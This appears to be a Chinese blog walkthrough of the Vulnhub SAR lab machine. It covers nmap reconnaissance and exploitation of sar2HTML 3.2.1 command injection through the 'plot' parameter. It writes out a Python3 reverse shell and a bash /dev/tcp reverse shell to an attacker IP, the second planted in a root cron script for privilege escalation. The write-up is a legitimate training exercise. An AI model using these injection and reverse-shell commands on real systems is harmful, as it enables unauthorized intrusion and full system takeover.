首页 > 其他分享 >SAR靶机笔记

SAR靶机笔记

时间:2024-08-17 13:26:47浏览次数:5  
标签:http nmap 192.168 Nmap sh 笔记 SAR 靶机 root

SAR 靶机笔记

概述

SAR 是 Vulnhub 上的靶机,大家可以去 vulnhub 网站上去进行下载。

这里有链接: https://download.vulnhub.com/sar/sar.zip

一丶常规的 nmap 扫描

1)主机发现

sn 只做 ping 扫描,不做端口扫描

nmap -sn 192.168.84.1/24
MAC Address: 00:50:56:FA:CB:D3 (VMware)
Nmap scan report for 192.168.84.132
Host is up (0.00041s latency).

这里可以看到靶机 ip:192.168.84.132

2)端口扫描

sT tcp 扫描 min-rate 指定最低速率 -p- 指定全端口 -o 指定输出路径

nmap -sT --min-rate 10000 -p- 192.168.84.132 -o ports

Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-16 22:01 EDT
Nmap scan report for 192.168.84.132
Host is up (0.00019s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.67 seconds

3)详细信息扫描

nmap -sT -sV -sC -p80 192.168.84.132 -o details 

Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-16 22:12 EDT
Nmap scan report for 192.168.84.132
Host is up (0.00019s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:11:2F:03 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.65 seconds

4)默认漏洞脚本扫描

nmap --script=vuln 192.168.84.132 -o vuln     

Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-16 22:14 EDT
Nmap scan report for 192.168.84.132
Host is up (0.00018s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|   /robots.txt: Robots file
|_  /phpinfo.php: Possible information file
MAC Address: 00:0C:29:11:2F:03 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 31.80 seconds

可以看到扫描出 robots.txtphpinfo.php 文件

二、web 渗透

打开主页

image-20240817101903765

看到是默认页面

robots.txt

image-20240817102143652

phpinfo.php

image-20240817102322893

1)发现 cms

robots.txt 中有内容首先想到可能是目录,访问一下

image-20240817110903529

看到就是一个 cms 的页面,sar2HTML 我们去 searchsploit 里面搜索一下这个 cms,看看有没有什么漏洞

searchsploit sar2html

image-20240817111103724

看到有两个,版本也是一致的

searchsploit -m 47204

把 txt 的下载下来啊 这两个是都可以的喜欢用那个就用那个

cat 47204.txt 
# Exploit Title: sar2html Remote Code Execution
# Date: 01/08/2019
# Exploit Author: Furkan KAYAPINAR
# Vendor Homepage:https://github.com/cemtan/sar2html
# Software Link: https://sourceforge.net/projects/sar2html/
# Version: 3.2.1
# Tested on: Centos 7

In web application you will see index.php?plot url extension.

http://<ipaddr>/index.php?plot=;<command-here> will execute
the command you entered. After command injection press "select # host" then your command's
output will appear bottom side of the scroll screen. 

读一下介绍还是挺详细的,在 index.php 的页面里有一个 plot 参数可以命令执行。

三、获得立足点

http://192.168.84.132/sar2HTML/index.php?plot=;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.84.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

用 python3 的反弹命令

image-20240817113009406

成功获得立足点

四、提权到 root

查看定时任务

cat /etc/crontab

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/5  *    * * *   root    cd /var/www/html/ && sudo ./finally.sh

有一个执行 finally.sh 的命令

我们去看看这个文件内容

cat finally.sh
#!/bin/sh

./write.sh

他执行了当前目录下的 write.sh 文件

我们在看看 write.sh 文件

 cat ./write.sh
#!/bin/sh

touch /tmp/gateway

是一个创建文件的命令

看一下权限

image-20240817123436379

我们只对 write.sh 有操作权限,可以把他修改为一个反弹 shell 的命令,获得 root 的 shell

我们在卡一个 kali 的终端

nc -lvp 8888

image-20240817123815287

www-data 的命令行执行,如下命令

echo "bash -c 'bash -i >& /dev/tcp/192.168.84.128/8888 0>&1‘" >./write.sh

等待 5 分钟

root@sar:/var/w/html# cd/rootcd/root
root@sar:~# ls 
root.txt
snap
root@sar:~#cat root.txt
66f93d6b2ca96c9ad78a8a9ba0008e99
root@sar:~#

成功获取到 root 权限

总结

  1. 先用 nmap 扫描,发现目标靶机开启了 80 端口 http 的常规服务,并发现几个常规的路径
  2. 访问 80 端口暴露出来的路径,在 robots.txt 中发现 sar2HTML 目录,打开后看到一个 cms 框架
  3. 在 searchsploit 中搜走 sar2HTML 找到 RCE 漏洞
  4. 利用 RCE 漏洞获得立足点
  5. 利用定时任务提权到了 root

标签:http,nmap,192.168,Nmap,sh,笔记,SAR,靶机,root
From: https://www.cnblogs.com/LING5/p/18364275

相关文章

  • CF 做题笔记
    CF1926GVladandTroubleatMIT\(\texttt{*1900}\)。TAG:\(\texttt{树形dp}\)\(dp_{i,S,P}\)为\(i\)的子树内是否存在S和P的状态。转移方程为:当\(s_i\)为C时dp[x][0][0]+=min({dp[v][1][0]+1,dp[v][0][1]+1,dp[v][0][0]});dp[x][1][0]+=min(......
  • electron-forge通过Squirrel.Windows打包导致的asar文件过大的解决方案
    环境我的Eectron环境如下:"@electron-forge/cli":"^7.1.0","@electron-forge/maker-deb":"^7.1.0","@electron-forge/maker-rpm":"^7.1.0","@electron-forge/maker-squirrel":"^7.1.0",&q......
  • FFmpeg开发笔记(四十七)寒冬下安卓程序员的几个技术转型发展方向
    ​IT寒冬之下,程序员这个职业不再像以往那么吃香,尤其是APP开发的门槛越来越高,使得安卓程序员不得不求变,如果不在技术上及时转型提高,逆水行舟未来不可期呀。有鉴于此,博主整理了几个可供安卓程序员的技术转型发展方向,供大家参考。1、继续深耕Android的应用开发谷歌爸爸是安卓的爹......
  • 暴力 做题笔记
    在这个随笔中,会有笔者的一些做题笔记,包括但不限于暴力的思想、解题技巧、代码实现等。CF850BArpaandalistofnumbersTAG:\(\texttt{暴力,数学}\)题意Arpaandalistofnumbers题面翻译我们认为一个序列是坏序列,当且仅当该序列非空且\(\operatorname{gcd}\)是\(1\)......
  • 打造编程学习的高效笔记系统
    在编程学习的道路上,笔记不仅仅是知识的简单记录,更是我们理解、吸收和应用知识的重要工具。一个高效的笔记系统能够帮助我们更好地组织思路、加深记忆,并在需要时迅速找到所需的信息。那么,如何才能打造这样一个既实用又高效的编程学习笔记系统呢?目录一、笔记工具选择二、笔......
  • IO流体系全套复习笔记
    IO流体系一、字节流(文件,byte)1、FileInputStream作用:以内存为基准,可以把磁盘文件中的数据以字节的形式读到内存中去。实现类:publicFileInputStream(Filefile);pubilcFileInputStream(Stringpathname);(推荐使用)方法:read(buffer,0,len)(常用,读多少取多少)2、......
  • webrtc学习笔记4
    一对一通话(1)信令设计;(2)媒体协商;(3)加入Stream/Track;(4)网络协商四大块继续讲解通话原理信令协议设计join加入房间1varjsonMsg={2'cmd':'join',3'roomId':roomId,4'uid':localUserId,5};resp­join当join房间后发现房间已经存在另一个人时则返回另一个人......
  • 指针学习笔记
    变量指针地址地址是数据(变量)储存的位置,地址也是数据。存放地址的变量叫指针变量,简称指针。指针变量的大小在\(32\)位操作系统上地址用\(32\)位二进制整数表示,所以一个指针的大小为\(4\)字节;在\(64\)位操作系统上地址用\(64\)位二进制整数表示,所以一个指针的大......
  • 【Vue2学习笔记】基础(持续更新)
    一、vue介绍什么是vue?Vue是一套用于构建用户界面的渐进式框架。Vue被设计为可以自底向上逐层应用。Vue的核心库只关注视图层。vue特点1.采用组件式开发,提高代码复用率,且让代码更高维护2.声明式编码,让编码人员无需dom操作,提高开发效率3.使用虚拟机dom和优秀的di......
  • 算法笔记——可持久化线段树
    维护历史值当要修改一个节点时,把跟他有关的线段树中所有节点舍弃,并建立新节点连接.代码如下:#include<bits/stdc++.h>usingnamespacestd;constintN=1e6+5;intn,m,a[N],root[N],top;structnode{ intl,r,val;}t[N*40];intclone(intx)//新建节点{ top++; t......